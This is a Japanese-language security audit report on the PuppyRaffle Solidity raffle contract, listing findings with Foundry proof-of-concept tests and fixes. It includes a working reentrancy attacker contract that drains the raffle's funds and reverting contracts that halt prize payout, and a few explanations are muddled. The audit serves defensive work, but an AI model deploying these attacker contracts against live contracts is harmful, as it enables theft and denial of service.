PuppyRaffle 監査 レポート

Version 1.0

Jeremy Bru ・ジェレミー　ブルー

February 20, 2024

PuppyRaffle 監査 レポート

Jeremy Bru ・ジェレミー　ブルー

2024 年 2 月 20 日

最小限の監査レポート・PuppyRaffle

作成者: Jeremy Bru (Link)

主任監査役・リードセキュリティ担当:

- Jeremy Bru

Contact: 一

目次

- 問題の発見
  - 高
  - 中
  - 低
  - 情報系
  - ガス

プロトコル概要

このプロジェクトは、かわいい犬の NFT を勝ち取るための抽選（宝くじ）への参加を目的としています。プロトコルは以下を実行する必要があります：

- 次のパラメーターを持つ `enterRaffle` 関数を呼び出します：
  - `address[] participants`：参加するアドレスのリスト。これを使用して、自分自身を複数回または自分自身と友人のグループを登録できます。
- 重複するアドレスは許可されていません
- ユーザーは、`refund` 関数を呼び出すことで、チケットと `value` の返金を受け取ることができます
- 一定の X 秒ごとに、抽選で勝者が選ばれ、ランダムな子犬がミントされます
- プロトコルのオーナーは `feeAddress` を設定して価値の一部を取得し、残りの資金は子犬の勝者に送られます。

免責事項

私、Jeremy Bru は、与えられた期間内にコードの脆弱性をできるだけ多く見つけるために全力を尽くしましたが、本書類に提供された発見に対しては一切の責任を負いません。チームによるセキュリティ監査は、基盤となるビジネスや製品の推薦ではありません。監査は時間を区切って行われ、コードのレビューはコントラクトの Solidity 実装のセキュリティ側面にのみ焦点を当てて行われました。

リスク分類

		インパクト		
		高	中	低
	高	高	高/中	中
可能性	中	高/中	中	中/低
	低	中	中/低	低

CodeHawks (Link) の重大度マトリックスを使用して重大度を判断します。詳細については、ドキュメンテーションを参照してください。

監査の詳細

Commit Hash: `e30d199697bbc822b646d76533b66b7d529b8ef5`

スコープ

```
./src/
|___ PuppyRaffle.sol
```

役割

- オーナー - プロトコルのデプロイヤーであり、`changeFeeAddress` 関数を通じて手数料が送信されるウォレットアドレスを変更する権限があります。
- フィー ユーザー：抽選参加費の一部を受け取るユーザー。`feeAddress` 変数によって指定されます。
- プレイヤー - 抽選の参加者であり、`enterRaffle` 関数で抽選に参加し、refund 関数を通じて返金する権限があります。

エグゼクティブサマリー

Forge Foundry、Aderyn、Slither、および手動レビューを使用して、次の問題を見つけ、問題を示すテストケースを書きました。

発見された問題

深刻度	見つかった問題の数
高	5
中	4
低	1
情報系	6
——-	————————
合計	16

問題の発見

- S = Severity: 深刻度
- クリティカル・クリット (Crit)= 非常に高い
- 情報系　= お知らせ事項
- 例：S-低＋番号 = 順番的に並んでいる。

高

[S-高 1] 状態変更は、Re-entrancy 攻撃を防ぎ、コントラクトが 0 になるのを防ぐために、払い戻しトランザクションの前に行うべきです。

説明:

`refund()`関数内の`playerIndex`の状態変更は、払い戻しのためにユーザーに値を送信する外部呼び出しトランザクションの前に行うべきです。

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
           can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
           refunded, or is not active");
5
6  -->  payable(msg.sender).sendValue(entranceFee);
7
8  -->  players[playerIndex] = address(0);
9      emit RaffleRefunded(playerAddress);
10 }
```

`RaffleRefunded`イベントは、状態変更の前に発行されるべきです。イベントを状態変更の前に発行することは、ベストプラクティスです。

これにより、コントラクトの状態に関する混乱を避け、リエントランシー攻撃の可能性を開かないようにします。

影響:

- コントラクトから返金資金を吸い取り、他のユーザーにとって返金機能を使用できなくすることにつながります。
- それでコントラクトが空になる。

概念実証:

プロジェクトのルートフォルダで`slither .`を実行すると、以下の詳細が出力されます：

Slither の出力を見る

```
INFO:Detectors:
Reentrancy in PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#152-175)
    :
        External calls:
        - address(msg.sender).sendValue(entranceFee) (src/PuppyRaffle.
            sol#169)
        State variables written after the call(s):
        - players[playerIndex] = address(0) (src/PuppyRaffle.sol#171)
        PuppyRaffle.players (src/PuppyRaffle.sol#35) can be used in
            cross function reentrancies:
        - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol
            #102-148)
        - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.
            sol#182-195)
        - PuppyRaffle.players (src/PuppyRaffle.sol#35)
        - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#152-175)
        - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#203-244)
Reference: https://github.com/crytic/slither/wiki/Detector-
    Documentation#reentrancy-vulnerabilities-1
```

- 攻撃者コントラクトを使用したリエントランシー攻撃のテストケース：

1. ユーザーがラッフルに参加します。
2. 攻撃者が`refund`を呼び出すフォールバック関数を持つコントラクトを設定します。
3. 攻撃者がラッフルに参加します。
4. 攻撃者が自分のコントラクトから`refund`を呼び出し、コントラクトの残高を空にします。

```
1
2       function testCanGetRefundReentrancy() public {
3           address[] memory players = new address[](4);
4           players[0] = playerOne;
5           players[1] = playerTwo;
6           players[2] = playerThree;
7           players[3] = playerFour;
8           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
9
10          console.log(
11              "攻撃前のラッフルコントラクトの残高： %s",
12              address(puppyRaffle).balance
13          );
14
15          // 攻撃者を導入
16          AttackReentrant attackerContract = new AttackReentrant(
                puppyRaffle);
17          address attacker = makeAddr("attacker");
18          vm.deal(attacker, 10 ether);
19
20          uint256 attackerContractBalanceBefore = address(
                attackerContract)
21              .balance;
22
23          vm.prank(attacker);
24          attackerContract.attack{value: entranceFee}();
25
26          console.log(
27              "攻撃前の攻撃者コントラクトの残高： %s",
28              attackerContractBalanceBefore
29          );
30          console.log(
31              "攻撃後の攻撃者コントラクトの残高： %s",
32              address(attackerContract).balance
33          );
34
35                 console.log(
36              "攻撃後のラッフルコントラクトの残高： %s",
37              address(puppyRaffle).balance
38          );
39      }
```

攻撃者コントラクト：

```
contract AttackReentrant {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    receive() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}
```

推奨される軽減策:

`refund`関数におけるイベントの発行場所と状態変更の場所を変更して、リエントランシー攻撃を避けます。

```
    function refund(uint256 playerIndex) public {
        // @audit この関数にはMEV攻撃も含まれています、トランザクションのフロントランニング
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: 返金はプレイヤーのみ可能"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: プレイヤーは既に返金されているか、アクティブではありません"
        );

+       // @audit リエントランシー攻撃を避けるために、イベントと状態変更の場所を変更
+       emit RaffleRefunded(playerAddress);
+       players[playerIndex] = address(0);

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

- 関数に ReentrancyGuard を追加することもできます。openZeppelinライブラリReentrancyGuard

[S-高 2] `selectWinner()` 関数にアクセス制御がないことにより、いつでも抽選を終了させて勝者として選ばれる可能性があります。

説明:

- この攻撃の最悪の部分は、アクセス制御の欠如自体ではなく、それに伴う再入可能攻撃です。誰でもいつでも抽選を終了させ、勝者として選ばれることができます。オーナーが手数料を引き出していない場合、毎日オーナーの行動の前に正しい時間に関数を呼び出すだけで、コントラクトの手数料を徐々に吸い取ることができます。

影響:

- ユーザーによる抽選の使用に深刻な影響を与えます。NFT と残っている手数料をすべて獲得するためのほぼ即時の DOS 攻撃です。

推奨される軽減策:

- `selectWinner()` 関数に OpenZeppelin から使用している `Ownable` ライブラリの Only-Owner 修飾子を追加します。

```
-     function selectWinner() external {
+     function selectWinner() external onlyOwner {
```

[S-高 3] オーナーが引き出すことができる資金におけるオーバーフロー + 精度の損失 + uint256 から uint64 への安全でないキャスト

説明:

`0.8.0`未満の Solidity バージョンでは、int および uint は最初から巻き戻ります。`uint64`の最大値は`18446744073709551615`です。totalFees がこの数値を超えると、0 から始まります。

- 手数料は 18 桁の小数点を使用します。total fee が引き出し可能なカウントに 0.1eth 以上ある場合、例えば 18.5eth であれば、100000000000000000 + 18446744073709551615 = 5000000000000000 -> 0.05eth になります。なぜなら巻き戻しは最初から始まるためです。(数値は正確ではありませんが、私が提供した結果に近いものになります)。

```
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;

        // @audit オーバーフロー
        totalFees = totalFees + uint64(fee);
```

- さらに、精度の損失があり、オーナーは手数料の正確な金額またはコントラクトによって彼に支払われるべき最大金額を引き出すことができません。
- また、uint256 から uint64 への安全でないキャスティングがあります。20eth が uint64 にキャストされると、18.4eth から 0 に巻き戻り、結果として 1.5eth になります。

影響:

- オーナーは 18.4eth 以上の手数料を引き出すことができず、その数値に達し、それを超えると、手数料のカウンターがゼロから再開されるため、オーナーはほこりを引き出すしかありません。

概念実証:

以下のコマンドを Foundry の Chisel で実行することで、この現象を再現できます：

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

推奨される軽減策:

- 18 桁のトークンに uint64 を使用しないでください。
- Solidity バージョンを最新バージョンにアップグレードして、この種の問題を回避する必要があります。
- uint64 を uint256 に変更することを検討してください。18 桁のトークンには uint256 を使用することが最善の慣行とされています。これは、最大上限に到達することがほぼ計算上困難であるためです。
- 0.8.0 未満のバージョンでは SafeMath を使用してオーバーフローを回避するべきですが、Solidity の最新バージョンにアップグレードすることがより良いです。

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[S-高 4] 当選者と当選した NFT が予測可能、弱い RNG 攻撃により毎回当選する可能性

説明:

`selectWinner()`関数は、3 つの値をハッシュ化して当選者を選択します。

```
1          uint256 winnerIndex = uint256(
2              keccak256(
3                  abi.encodePacked(msg.sender, block.timestamp, block.
                       difficulty)
4              )
5          ) % players.length;
```

`block.difficulty`はランダム性の弱い源であり、マイナーによって操作され、ハッシュの結果に影響を与える可能性があります。`block.timestamp`も同様に事前に推測可能です。

- NFT のレアリティのランダム性についても同様です。

```
1          uint256 rarity = uint256(
2              keccak256(abi.encodePacked(msg.sender, block.difficulty))
3          ) % 100;
```

- 詳細は、以下のリンクをご覧ください：
  - 弱い乱数はよく知られた攻撃ベクトルです。
  - `block.difficulty`は`prevrandao`に置き換えられました solidity blog on prevrando
  - Solidity セキュリティ考慮事項
  - Solidity 乱数

影響:

- 攻撃者が毎回当選者となり、毎回 NFT を獲得する可能性があります。その結果、他のユーザーにとってコントラクトは使用不可能になります。
- どの NFT を勝ち取るか、そして NFT の希少性を選択する可能性。
- 当選者は NFT だけでなく、エントランスフィーの一部も獲得します。
- 攻撃者がいる場合、当選者として使用されるアドレスはブラックリスト化を避けるために毎回変更されます。これは留意する点です。

推奨される軽減策:

- 数学的に安全な乱数を得るために、Chainlink VRF（Verifiable Random Function）を使用して安全な乱数を取得し、それに基づいて当選者を選択してください。Chainlink VRF
- これは NFT のレアリティが決定される方法にも適用する必要があります。特定の NFT を獲得するための勝利の操作を避けるためです。

[S-高 5] 悪意のある勝者が抽選を永遠に停止させる可能性があります。

説明:

勝者が選ばれると、`selectWinner` 関数は外部呼び出しを使って賞金を対応するアドレスに送ります。

```
1 (bool success,) = winner.call{value: prizePool}("");
2 require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

- 勝者アカウントが `payable fallback` や `receive` 関数を実装していない、またはこれらの関数が含まれているがリバートされるスマートコントラクトであった場合、上記の外部呼び出しは失敗し、`selectWinner` 関数の実行は停止します。そして、賞金は配布されず、新しいセッションのための抽選は決して開始されません。
- `selectWinner` 関数が `ERC721` コントラクトから継承した `_safeMint` 関数を使って勝者に NFT をミントすることを利用して、抽選を停止させるもう一つの攻撃ベクトルがあります。この関数は、受信者がスマートコントラクトである場合、`onERC721Received` フックを受信者に呼び出そうとします。この関数が実装されていない場合、呼び出しはリバートされます。
- したがって、攻撃者は `onERC721Received` フックを実装していないスマートコントラクトを抽選に登録することができます。これにより、NFT のミントが阻止され、`selectWinner` への呼び出しがリバートされます。

影響:

- すべての状況で、賞金を配布し、新しいラウンドを開始することが不可能になるため、抽選は永遠に停止します。

概念実証:

テストケース：

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

攻撃オプション 1：

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

攻撃オプション 2：

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
       implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

推奨される軽減策:

- 数学的に安全な乱数を得るために、Chainlink VRF（Verifiable Random Function）を使用して安全な乱数を取得し、それに基づいて当選者を選択してください。Chainlink VRF
- これは NFT のレアリティが決定される方法にも適用する必要があります。特定の NFT を獲得するための勝利の操作を避けるためです。

中

[S-中 1] `players` 配列のチェックが For ループにつながり、次のユーザーのエントリーコストを増加させる DOS 攻撃を引き起こす

説明:

`enterRaffle`関数内の`players`配列の処理は、重複を効率的にチェックしないことによって DOS（サービス拒否）攻撃を可能にするセキュリティリスクをもたらします。配列が大きい場合、重複をチェックするために各インデックスを反復処理すると、ガスコストが著しく増加し、ガス料金が禁止的になるため、コントラクトを使用できなくなる可能性があります。

DOS 攻撃は、For ループでの配列の悪い処理に限定されません。例えば：

- ブロックガスリミットのエクスプロイト、またはトランザクションが通過することを妨げる方法、またはそのコストのために不可能にする方法、または悪意のあるコントラクトでフォールバックおよび受信機能のたびにリバートする方法など
- 基本的に、コントラクトをユーザーにとって使用不可能にするか、トランザクションが通過するのを制限します。

影響:

- この欠陥は、早期および遅期のラッフル参加者を不利にし、攻撃者がラッフルを独占し、コントラクトを無効にすることを可能にします。
- 攻撃者は配列に任意の数のプレイヤーを追加し、他のユーザーにとってコントラクトを使用できなくすることができます。そして、弱い乱数攻撃を使用して、所有するアドレスの 1 つが勝者であり、時間内に返金されるため、他の追加されたアカウントに損失がないようにすることで、勝者となることができます。

他のユーザーの後にラッフルに参加するユーザーが支払うガスの量は以下のとおりです：

```
1 // 5人のプレイヤーの場合は143236ガス
2 // 20人のプレイヤーの場合は636724ガス
3 // 50人のプレイヤーの場合は2156305ガス
4 // 98人のプレイヤーの場合は6064707ガス
5 // 196人のプレイヤーの場合は17397671ガス
```

概念実証:

他のプレイヤーの後にラッフルに参加する最後のプレイヤーのガスコストを示すテストケースのコードの詳細を以下の「コード」ボタンをクリックして確認してください。

コード

```
function testCanBlewUpGasPriceWhenLookingForDuplicates() public {
        vm.txGasPrice(1);
        uint256 numberOfPlayers = 98; //1から100まで

        address[] memory players = new address[](uint160(
            numberOfPlayers));
        for (uint256 i; i < numberOfPlayers; i++) {
            players[i] = address(i);
        }
        uint256 gasBefore = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasAfter = gasleft();
        uint256 gasUsedFirst = (gasBefore - gasAfter) * tx.gasprice;
        console.log(
            "最初の配列の最後のプレイヤーが使用したガス： %s プレイヤー：%s",
            numberOfPlayers,
            gasUsedFirst
        );

        // 2回目の「x」数のプレイヤー

        address[] memory playersSecond = new address[](
            uint160(numberOfPlayers)
        );
        for (uint256 i; i < numberOfPlayers; i++) {
            playersSecond[i] = address(i + numberOfPlayers);
        }
        uint256 gasBeforeSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersSecond
        );
        uint256 gasAfterSecond = gasleft();

        uint256 gasUsedSecond = (gasBeforeSecond - gasAfterSecond) *
            tx.gasprice;

        console.log(
            "2番目の配列の最後のプレイヤーが使用したガス： %s プレイヤー：%s",
            players.length,
            gasUsedSecond
        );

        assert(gasUsedFirst < gasUsedSecond);

        // 5人のプレイヤーの場合は143236ガス
        // 20人のプレイヤーの場合は636724ガス
        // 50人のプレイヤーの場合は2156305ガス
```

```
47          // 98人のプレイヤーの場合は6064707ガス
48          // 196人のプレイヤーの場合は17397671ガス
```

推奨される軽減策:

- ユーザーは異なるアドレスでラッフルに参加することができます。これにより、重複チェックを回避し、誰でも複数回参加することができます。
- 異なるラッフルのために、ラッフルの ID として番号を組み込むことで、参加者のアドレスを常に重複チェックするためにマッピングを使用する方が良いでしょう。例：ラッフル番号 1、番号 2 など…

```
1  // @audit pragmaバージョンが0.8.0以上の場合は、エラー/リバートハンドラを使用できます
2  // error PuppyRaffle__DuplicatePlayer();
3
4  (..... PuppyRaffleコントラクト ......)
5
6      // @audit 参加者とラッフルIDのチェックのためのマッピング
7  +    mapping(address => uint256) public addressToParticipantIndex;
8  +    uint256 public raffleId = 0;
9
10 (..... コードの残りの部分 ......)
11
12 ..... enterRaffle関数内で：
13     function enterRaffle(address[] memory newPlayers) public payable {
14         require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
15         for (uint256 i = 0; i < newPlayers.length; i++) {
16         players.push(newPlayers[i]);
17  +      addressToParticipantIndex[newPlayers[i]] = raffleId;
18     }
19
20 -    // 重複をチェック
21 +    // @audit ラッフルIDと参加者のマッピングに基づいて重複をチェック
22
23     for (uint256 i = 0; i < players.length - 1; i++) {
24 -        for (uint256 j = i + 1; j < players.length; j++) {
25 -            require(
26 -                players[i] != players[j],
27 -                "PuppyRaffle: 重複したプレイヤー"
28 -            );
29 -        }
30 +        require(
31 +            addressToParticipantIndex[players[i]] != raffleId,
32 +            "PuppyRaffle: 重複したプレイヤー"
33 +        );
34
35
```

```
36      // @audit pragmaバージョンが最新の場合は、エラー/リバートステートメ
            ントを使用できます
37      // if(addressToParticipantIndex[newPlayers[i]] != raffleId){
38      //     revert PuppyRaffle__DuplicatePlayer();
39      // }
40
41    ..... selectWinner関数内で:
42      function selectWinner() external {
43  +       raffleId = raffleId + 1;
44          require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
45
46      }
47
48      }
```

- 同じ目的のために以下のライブラリをチェックすることもできます：
  - OpenZepplin EnumerableSet
  - OpenZeppelin EnumerableMap

[S-中 2] `getActivePlayerIndex()` でのインデックス 0 のプレイヤーがアクティブプレイヤーとして考慮されず、プレイヤーに返金の可能性がない

説明:

関数の説明には、配列内にアクティブプレイヤーがいない場合、`getActivePlayerIndex()` は 0 を返すと記載されています：

```
/// @return 配列内のプレイヤーのインデックス、アクティブでない場合は0を返します
```

ラッフルセッションで唯一のアクティブプレイヤーがインデックス 0 にいる場合、関数は 0 を返し、そのプレイヤーはアクティブプレイヤーとして考慮されず、`refund()`関数で返金を受け取ることができません。

```
1  require(playerAddress !=
2    address(
3      0
4    ), "PuppyRaffle: プレイヤーは既に返金されているか、アクティブではありません");
```

影響:

どのプレイヤーも返金されず、アクティブプレイヤーとして考慮されないことは、中程度の重大度の問題です。これは、ラッフルに最初に参加するプレイヤーにとって悪い設計です。

推奨される軽減策:

- 論理的な問題を修正するために、2 つの異なるパターンを使用することができます。配列内のプレイヤーのインデックス + ブール値を返す（例：プレイヤーなし false + 0、インデックス 0 でのアクティブプレイヤー true + 0）、または配列内にアクティブプレイヤーがいないことを示すために 0 ではなく最大の uint256 を返す。
- 配列内にアクティブプレイヤーがいないことを示すために、getActivePlayerIndex() 関数のロジックを変更し、0 ではなく最大の uint256 を返します。

```
1      /// @notice 配列内でのインデックスを取得する方法
2      /// @param player ラッフル内のプレイヤーのアドレス
3  -    /// @return プレイヤーがアクティブでない場合は0を返します
4  +    /// @return プレイヤーがアクティブでない場合は最大のuint256を返します
5
6      function getActivePlayerIndex() public view returns (uint256) {
7          for (uint256 i; i < players.length; i++) {
8              if (players[i] != address(0)) {
9                  return i;
10             }
11         }
12
13         // @audit 配列のインデックス0にアクティブプレイヤーがいない場合は、最大のuintを返します
14 -        return 0;
15 +        return type(uint256).max;
16     }
```

[S-中 3] 受取関数やフォールバック関数を持たないスマートコントラクトが当選者である場合、新しい抽選の開始がブロックされます

説明:

- `selectWinner` 関数は抽選のリセットを担当します。しかし、当選者が支払いを拒否するスマートコントラクトウォレットである場合、抽選は再開できません。
- スマートコントラクトウォレットでないユーザーは再エントリーできますが、重複チェックのために多額のガスを消費する可能性があります。

影響:

`selectWinner` 関数が何度もリバートされ、抽選のリセットが非常に困難になり、新しい抽選の開始を防ぐ可能性があります。

- また、本当の当選者が支払いを受けられず、他の誰かが彼らの賞金を獲得することになるかもしれません！

概念実証:

1. フォールバックや受取関数を持たない 10 のスマートコントラクトウォレットが抽選に参加します。
2. 抽選が終了します
3. 抽選が終了しても `selectWinner` 関数は機能しません！

推奨される軽減策:

1. スマートコントラクトウォレットの参加を禁止する（推奨されない）
2. アドレス -> 支払いのマッピングを作成し、当選者が自分で賞金を引き出せるようにすることで、賞金を請求する責任を当選者に移す（推奨）

[S-中 4] `withdrawFees` の残高チェックにより、`selfdestruct` を使用してコントラクトに強制的に ETH を送り、引き出しをブロックすることが可能

説明:

- `withdrawFees`関数は、コントラクトの ETH 残高 (`address(this).balance`) が`totalFees`と等しいかをチェックします。このコントラクトには payable な`fallback`や`receive`関数がないため、ユーザーや攻撃者が ETH を含むコントラクトを`selfdestruct`して、`PuppyRaffle`コントラクトに強制的に資金を送ることで、このチェックを破壊することができます。

```
1      function withdrawFees() external {
2  -->     require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

影響:

これにより、`feeAddress`が手数料を引き出すことができなくなります。悪意のあるユーザーが`mempool`内の`withdrawFee`トランザクションを見つけ、それをフロントランニングして、手数料を送ることで引き出しをブロックする可能性があります。

概念実証:

- `PuppyRaffle` の残高には 800 wei があり、800 wei の `totalFees`があります。
- 悪意のあるユーザーが `selfdestruct`を介して 1 wei を送ると、残高には 801 wei がありますが、800 が`totalFees`として計算されます。残高と `totalFees` はもはや等しくありません。
- `feeAddress` はもはや資金を引き出すことができません。

推奨される軽減策:

`withdrawFees` 関数の残高チェックを削除します。

```
1      function withdrawFees() external {
2  -       require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

低

[S-低 1] イベントにはインデックスを付けるべきであり、検索性とフィルタリングが向上します。

説明:

- イベントは、トランザクションの記録やブロックチェーン上の状態変化をログに記録するために使用されます。特定のトランザクションや状態変化を追跡・検索するために役立ちます。しかし、`PuppyRaffle`コントラクトのイベントにはインデックスが付けられておらず、特定のトランザクションや状態変化を検索・フィルタリングするのが難しくなっています。
- 注意: インデックス付きイベントは、より効率的に格納されます。

影響:

- イベントの取得とフィルタリングが難しい。低重大度の問題ですが、検索性とフィルタリングを向上させるためにイベントにインデックスを付けることは良い実践です。
- 第三者のアプリがコントラクトの状態や発生しているトランザクションを追跡するために使用できます。

推奨される軽減策:

`indexed`キーワードを追加:

```
-    event RaffleEnter(address[] newPlayers);
-    event RaffleRefunded(address player);
-    event FeeAddressChanged(address newFeeAddress);

+    event RaffleEnter(address[] indexed newPlayers);
+    event RaffleRefunded(address indexed player);
+    event FeeAddressChanged(address indexed newFeeAddress);
```

情報系

[S-情報系 1] 浮動小プラグマとバージョンが古いことによる算術攻撃、サプライチェーン攻撃、最適化および互換性の問題

説明:

Solidity コンパイラのバージョンが古く、その後修正された脆弱性やエクスプロイトが発生しています。コントラクト：`PuppyRaffle.sol`

このエラーが算術攻撃を容易にし、古い Solidity の機能を使用するため、重大な問題です。これらのエラーについては、それぞれのセクションで詳しく説明します。

影響:

現在のコンパイラバージョンに関連する脆弱性と互換性の問題には、以下が含まれます：

- 算術攻撃（コントラクトで 1 例見つかりました）。
- 選択されたバージョンでのエラーおよびリバートステートメントを効率的に使用できない問題があります。これらの機能は Solidity バージョン `0.8.0` からサポートされています。これらの機能はガス効率のために推奨されるだけでなく、コードの初期段階から利用可能であるべき重要なセキュリティ対策です。
- 少なくともバージョン 0.8.0 にアップグレードすると、`base64`ライブラリがコントラクト`PuppyRaffle.sol`と互換性がなくなり、再統合のための再作業が必要になります。ただし、利用可能な最新の安定バージョンに更新することをお勧めします。
- 現在のバージョンでは、他の効率的で安全な機能が不足している可能性があり、さまざまなライブラリとの互換性がない場合があります。詳細は以下のとおりです：

Slither 出力

```
Found incompatible Solidity versions:
src/PuppyRaffle.sol (^0.8.24) imports:
    lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol
       (>=0.6.0 <0.8.0)
    lib/openzeppelin-contracts/contracts/access/Ownable.sol (>=0.6.0
       <0.8.0)
    lib/openzeppelin-contracts/contracts/utils/Address.sol (>=0.6.2
       <0.8.0)
    lib/base64/base64.sol (>=0.6.0)
    lib/openzeppelin-contracts/contracts/utils/Context.sol (>=0.6.0
       <0.8.0)
    lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol
       (>=0.6.2 <0.8.0)
    lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Metadata.
       sol (>=0.6.2 <0.8.0)
```

```
10      lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Enumerable
            .sol (>=0.6.2 <0.8.0)
11      lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.
            sol (>=0.6.0 <0.8.0)
12      lib/openzeppelin-contracts/contracts/introspection/ERC165.sol
            (>=0.6.0 <0.8.0)
13      lib/openzeppelin-contracts/contracts/math/SafeMath.sol (>=0.6.0
            <0.8.0)
14      lib/openzeppelin-contracts/contracts/utils/Address.sol (>=0.6.2
            <0.8.0)
15      lib/openzeppelin-contracts/contracts/utils/EnumerableSet.sol
            (>=0.6.0 <0.8.0)
16      lib/openzeppelin-contracts/contracts/utils/EnumerableMap.sol
            (>=0.6.0 <0.8.0)
17      lib/openzeppelin-contracts/contracts/utils/Strings.sol (>=0.6.0
            <0.8.0)
18      lib/openzeppelin-contracts/contracts/utils/Context.sol (>=0.6.0
            <0.8.0)
19      lib/openzeppelin-contracts/contracts/introspection/IERC165.sol
            (>=0.6.0 <0.8.0)
20      lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol
            (>=0.6.2 <0.8.0)
21      lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol
            (>=0.6.2 <0.8.0)
22      lib/openzeppelin-contracts/contracts/introspection/IERC165.sol
            (>=0.6.0 <0.8.0)
```

概念実証:

PuppyRaffle.sol

```
1  - pragma solidity ^0.7.6;
2  + pragma solidity 0.8.24;
```

推奨される軽減策:

- Solidity バージョンをアップグレードし、base64ライブラリおよびその他の互換性のないライブラリとの互換性問題に対処してください。
- スマートコントラクトは、同じコンパイラバージョンでデプロイされるべきです。
  https://swcregistry.io/docs/SWC-103/

[S-情報系 2] 古いプラグマバージョンによる基本機能の不可用、例：エラーおよびリバートステートメント

説明:

前述のプラグマバージョンに関する調査結果で強調されたように、[上の情報系 1 を見てください]、現在のコントラクトのバージョンでは、Solidity バージョン `0.8.0` 以降で利用可能になったエラーおよびリバートステートメントの使用が禁止されています。これらの機能は、ガス効率のためのベストプラクティスであるだけでなく、セキュリティのためにも重要です。

影響:

これにより、バージョン`0.7.6`から最新バージョンに至るまでの基本的な Solidity 機能、特にエラーおよびリバートステートメントを効率的にエラーハンドリングするための機能を使用できなくなります。

- 選択されたバージョンでエラーおよびリバートステートメントを効率的に扱うことができません。
- 現在のバージョンでは、他の効率的で安全な機能が不足している可能性があります。

概念実証:

`PuppyRaffle.sol`

これらのエラーハンドラを実装するには、まずコンパイラのバージョンをアップグレードする必要があります：

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.8.24;
```

その後、インポートの下にエラーを宣言し、関連する `require` ステートメントをガス効率のために `error` および `revert` に置き換えます。

```
  (.....other imports.....)
  import {Address} from "@openzeppelin/contracts/utils/Address.sol";
  import {Base64} from "lib/base64/base64.sol";

+ error PuppyRaffle__MustSendEnoughToEnterRaffle(
+     uint256 value,
+     uint256 entranceFeeRequired
+);

contract PuppyRaffle is ERC721, Ownable { ..... rest of the contract
    ..... }
```

ガス効率のために `error`および `revert`ステートメントに処理できる`requirement`ステートメントを変更します：

`enterRaffle()`

```
-         require(
-             msg.value == entranceFee * newPlayers.length,
-             "PuppyRaffle: Must send enough to enter raffle"
-         );

          // @audit change the require in an if condition
+         if (msg.value != entranceFee * newPlayers.length) {
+             revert PuppyRaffle__MustSendEnoughToEnterRaffle({
+                 value: msg.value,
+                 entranceFeerequired: entranceFee * newPlayers.length
+             });
+         }
```

